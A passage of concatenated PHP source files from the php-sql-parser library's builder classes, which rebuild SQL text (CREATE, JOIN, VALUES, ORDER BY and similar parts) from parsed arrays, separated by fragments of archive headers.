 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */

namespace PHPSQLParser\builders;

/**
 * This class implements the builder for the select-options statement part of CREATE TABLE. 
 * You can overwrite all functions to achieve another handling.
 *
 * @author  André Rothe <andre.rothe@phosco.info>
 * @license http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 *  
 */
class CreateTableSelectOptionBuilder implements Builder {

    public function build(array $parsed) {
        if (!isset($parsed['select-option']) || $parsed['select-option'] === false) {
            return "";
        }
        $option = $parsed['select-option'];

        $sql = ($option['duplicates'] === false ? '' : (' ' . $option['duplicates']));
        $sql .= ($option['as'] === false ? '' : ' AS');
        return $sql;
    }
}
?>
PK     \4  4  S  vendor/greenlion/php-sql-parser/src/PHPSQLParser/builders/IndexAlgorithmBuilder.phpnu [        <?php
/**
 * IndexAlgorithmBuilder.php
 *
 * Builds index algorithm part of a CREATE INDEX statement.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */

namespace PHPSQLParser\builders;
use PHPSQLParser\exceptions\UnableToCreateSQLException;
use PHPSQLParser\utils\ExpressionType;

/**
 * This class implements the builder for the index algorithm of CREATE INDEX statement. 
 * You can overwrite all functions to achieve another handling.
 *
 * @author  André Rothe <andre.rothe@phosco.info>
 * @license http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 *  
 */
class IndexAlgorithmBuilder implements Builder {

    protected function buildReserved($parsed) {
        $builder = new ReservedBuilder();
        return $builder->build($parsed);
    }

    protected function buildConstant($parsed) {
        $builder = new ConstantBuilder();
        return $builder->build($parsed);
    }
    
    protected function buildOperator($parsed) {
        $builder = new OperatorBuilder();
        return $builder->build($parsed);
    }
    
    public function build(array $parsed) {
        if ($parsed['expr_type'] !== ExpressionType::INDEX_ALGORITHM) {
            return '';
        }
        $sql = '';
        foreach ($parsed['sub_tree'] as $k => $v) {
            $len = strlen($sql);
            $sql .= $this->buildReserved($v);
            $sql .= $this->buildConstant($v);
            $sql .= $this->buildOperator($v);

            if ($len == strlen($sql)) {
                throw new UnableToCreateSQLException('CREATE INDEX algorithm subtree', $k, $v, 'expr_type');
            }

            $sql .= ' ';
        }
        return substr($sql, 0, -1);
    }
}
?>
PK     \e2i    \  vendor/greenlion/php-sql-parser/src/PHPSQLParser/builders/SelectBracketExpressionBuilder.phpnu [        <?php
/**
 * SelectBracketExpressionBuilder.php
 *
 * Builds the bracket expressions within a SELECT statement.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */

namespace PHPSQLParser\builders;
use PHPSQLParser\utils\ExpressionType;

/**
 * This class implements the builder for bracket expressions within a SELECT statement. 
 * You can overwrite all functions to achieve another handling.
 *
 * @author  André Rothe <andre.rothe@phosco.info>
 * @license http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 *  
 */
class SelectBracketExpressionBuilder implements Builder {

    protected function buildSubTree($parsed, $delim) {
        $builder = new SubTreeBuilder();
        return $builder->build($parsed, $delim);
    }

    protected function buildAlias($parsed) {
        $builder = new AliasBuilder();
        return $builder->build($parsed);
    }

    public function build(array $parsed) {
        if ($parsed['expr_type'] !== ExpressionType::BRACKET_EXPRESSION) {
            return "";
        }
        return '(' . $this->buildSubTree($parsed, ' ') . ')'
            . $this->buildAlias($parsed);
    }
}
?>
PK     \m	  m	  M  vendor/greenlion/php-sql-parser/src/PHPSQLParser/builders/PositionBuilder.phpnu [        <?php
/**
 * PositionBuilder.php
 *
 * Builds positions of the GROUP BY clause.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */

namespace PHPSQLParser\builders;
use PHPSQLParser\utils\ExpressionType;

/**
 * This class implements the builder for positions of the GROUP-BY clause. 
 * You can overwrite all functions to achieve another handling.
 *
 * @author  André Rothe <andre.rothe@phosco.info>
 * @license http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 *  
 */
class PositionBuilder implements Builder {

    public function build(array $parsed) {
        if ($parsed['expr_type'] !== ExpressionType::POSITION) {
            return "";
        }
        return $parsed['base_expr'];
    }
}
?>
PK     \=go	  o	  K  vendor/greenlion/php-sql-parser/src/PHPSQLParser/builders/EngineBuilder.phpnu [        <?php
/**
 * DatabaseBuilder.php
 *
 * Builds the database within the SHOW statement.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */

namespace PHPSQLParser\builders;
use PHPSQLParser\utils\ExpressionType;

/**
 * This class implements the builder for a database within SHOW statement. 
 * You can overwrite all functions to achieve another handling.
 *
 * @author  André Rothe <andre.rothe@phosco.info>
 * @license http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 *  
 */
class EngineBuilder implements Builder {

    public function build(array $parsed) {
        if ($parsed['expr_type'] !== ExpressionType::ENGINE) {
            return "";
        }
        return $parsed['base_expr'];
    }
}
?>
PK     \Xq
  
  I  vendor/greenlion/php-sql-parser/src/PHPSQLParser/builders/JoinBuilder.phpnu [        <?php
/**
 * JoinBuilder.php
 *
 * Builds the JOIN statement parts (within FROM).
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @author    George Schneeloch <noisecapella@gmail.com>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */

namespace PHPSQLParser\builders;

/**
 * This class implements the builder for the JOIN statement parts (within FROM). 
 * You can overwrite all functions to achieve another handling.
 *
 * @author  André Rothe <andre.rothe@phosco.info>
 * @author  George Schneeloch <noisecapella@gmail.com>
 * @license http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 *  
 */
class JoinBuilder {

    public function build($parsed) {
        if ($parsed === 'CROSS') {
            return ", ";
        }
        if ($parsed === 'JOIN') {
            return " INNER JOIN ";
        }
        if ($parsed === 'LEFT') {
            return " LEFT JOIN ";
        }
        if ($parsed === 'RIGHT') {
            return " RIGHT JOIN ";
        }
        if ($parsed === 'STRAIGHT_JOIN') {
            return " STRAIGHT_JOIN ";
        }
        // TODO: add more
        throw new UnsupportedFeatureException($parsed);
    }
}
?>
PK     \ 
   
  T  vendor/greenlion/php-sql-parser/src/PHPSQLParser/builders/OrderByPositionBuilder.phpnu [        <?php
/**
 * PositionBuilder.php
 *
 * Builds positions of the GROUP BY clause.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */

namespace PHPSQLParser\builders;
use PHPSQLParser\utils\ExpressionType;

/**
 * This class implements the builder for positions of the GROUP-BY clause. 
 * You can overwrite all functions to achieve another handling.
 *
 * @author  André Rothe <andre.rothe@phosco.info>
 * @license http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 *  
 */
class OrderByPositionBuilder implements Builder {
    protected function buildDirection($parsed) {
        $builder = new DirectionBuilder();
        return $builder->build($parsed);
    }

    public function build(array $parsed) {
        if ($parsed['expr_type'] !== ExpressionType::POSITION) {
            return "";
        }
        return $parsed['base_expr'] . $this->buildDirection($parsed);
    }
}
?>
PK     \i    K  vendor/greenlion/php-sql-parser/src/PHPSQLParser/builders/CreateBuilder.phpnu [        <?php
/**
 * CreateBuilder.php
 *
 * Builds the CREATE statement
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */

namespace PHPSQLParser\builders;
use PHPSQLParser\utils\ExpressionType;

/**
 * This class implements the builder for the [CREATE] part. You can overwrite
 * all functions to achieve another handling.
 *
 * @author  André Rothe <andre.rothe@phosco.info>
 * @license http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 *  
 */
class CreateBuilder implements Builder {

    protected function buildCreateTable($parsed) {
        $builder = new CreateTableBuilder();
        return $builder->build($parsed);
    }

    protected function buildCreateIndex($parsed) {
        $builder = new CreateIndexBuilder();
        return $builder->build($parsed);
    }
    
    protected function buildSubTree($parsed) {
        $builder = new SubTreeBuilder();
        return $builder->build($parsed);
    }

    public function build(array $parsed) {
        $create = $parsed['CREATE'];
        $sql = $this->buildSubTree($create);

        if (($create['expr_type'] === ExpressionType::TABLE)
            || ($create['expr_type'] === ExpressionType::TEMPORARY_TABLE)) {
            $sql .= ' ' . $this->buildCreateTable($parsed['TABLE']);
        }
        if ($create['expr_type'] === ExpressionType::INDEX) {
            $sql .= ' ' . $this->buildCreateIndex($parsed['INDEX']);
        }

        // TODO: add more expr_types here (like VIEW), if available in parser output
        return "CREATE " . $sql;
    }

}
?>
PK     \'    N  vendor/greenlion/php-sql-parser/src/PHPSQLParser/builders/IndexTypeBuilder.phpnu [        <?php
/**
 * IndexTypeBuilder.php
 *
 * Builds index type part of a PRIMARY KEY statement part of CREATE TABLE.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */

namespace PHPSQLParser\builders;
use PHPSQLParser\exceptions\UnableToCreateSQLException;
use PHPSQLParser\utils\ExpressionType;

/**
 * This class implements the builder for the index type of a PRIMARY KEY
 * statement part of CREATE TABLE. 
 * You can overwrite all functions to achieve another handling.
 *
 * @author  André Rothe <andre.rothe@phosco.info>
 * @license http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 *  
 */
class IndexTypeBuilder implements Builder {

    protected function buildReserved($parsed) {
        $builder = new ReservedBuilder();
        return $builder->build($parsed);
    }

    public function build(array $parsed) {
        if ($parsed['expr_type'] !== ExpressionType::INDEX_TYPE) {
            return "";
        }
        $sql = "";
        foreach ($parsed['sub_tree'] as $k => $v) {
            $len = strlen($sql);
            $sql .= $this->buildReserved($v);

            if ($len == strlen($sql)) {
                throw new UnableToCreateSQLException('CREATE TABLE primary key index type subtree', $k, $v, 'expr_type');
            }

            $sql .= " ";
        }
        return substr($sql, 0, -1);
    }
}
?>
PK     \>gO
  O
  ]  vendor/greenlion/php-sql-parser/src/PHPSQLParser/builders/OrderByBracketExpressionBuilder.phpnu [        <?php
/**
 * OrderByBracketExpressionBuilder.php
 *
 * Builds bracket-expressions within the ORDER-BY part.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */

namespace PHPSQLParser\builders;

/**
 * This class implements the builder for bracket-expressions within the ORDER-BY part. 
 * It must contain the direction. 
 * You can overwrite all functions to achieve another handling.
 *
 * @author  André Rothe <andre.rothe@phosco.info>
 * @license http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 *  
 */
class OrderByBracketExpressionBuilder extends WhereBracketExpressionBuilder {

    protected function buildDirection($parsed) {
        $builder = new DirectionBuilder();
        return $builder->build($parsed);
    }

    public function build(array $parsed) {
        $sql = parent::build($parsed);
        if ($sql !== '') {
            $sql .= $this->buildDirection($parsed);
        }
        return $sql;
    }

}
?>
PK     \鯷    J  vendor/greenlion/php-sql-parser/src/PHPSQLParser/builders/AlterBuilder.phpnu [        <?php
namespace PHPSQLParser\builders;

/**
 * This class implements the builder for the [DELETE] part. You can overwrite
 * all functions to achieve another handling.
 *
 * @author  André Rothe <andre.rothe@phosco.info>
 * @license http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 *  
 */
class AlterBuilder implements Builder
{
    public function build(array $parsed)
    {
        $sql = '';

        foreach ($parsed as $term) {
            if ($term === ' ') {
                continue;
            }

            if (substr($term, 0, 1) === '(' ||
                strpos($term, "\n") !== false) {
                $sql = rtrim($sql);
            }

            $sql .= $term . ' ';
        }

        $sql = rtrim($sql);

        return $sql;
    }
}
PK     \\    K  vendor/greenlion/php-sql-parser/src/PHPSQLParser/builders/ValuesBuilder.phpnu [        <?php
/**
 * ValuesBuilder.php
 *
 * Builds the VALUES part of the INSERT statement.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */

namespace PHPSQLParser\builders;
use PHPSQLParser\exceptions\UnableToCreateSQLException;

/**
 * This class implements the builder for the VALUES part of INSERT statement. 
 * You can overwrite all functions to achieve another handling.
 *
 * @author  André Rothe <andre.rothe@phosco.info>
 * @license http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 *  
 */
class ValuesBuilder implements Builder {

    protected function buildRecord($parsed) {
        $builder = new RecordBuilder();
        return $builder->build($parsed);
    }

    public function build(array $parsed) {
        $sql = "";
        foreach ($parsed as $k => $v) {
            $len = strlen($sql);
            $sql .= $this->buildRecord($v);

            if ($len == strlen($sql)) {
                throw new UnableToCreateSQLException('VALUES', $k, $v, 'expr_type');
            }

            $sql .= $this->getRecordDelimiter($v);
        }
        return "VALUES " . trim($sql);
    }

    protected function getRecordDelimiter($parsed) {
        return empty($parsed['delim']) ? ' ' : $parsed['delim'] . ' ';
    }
}
?>
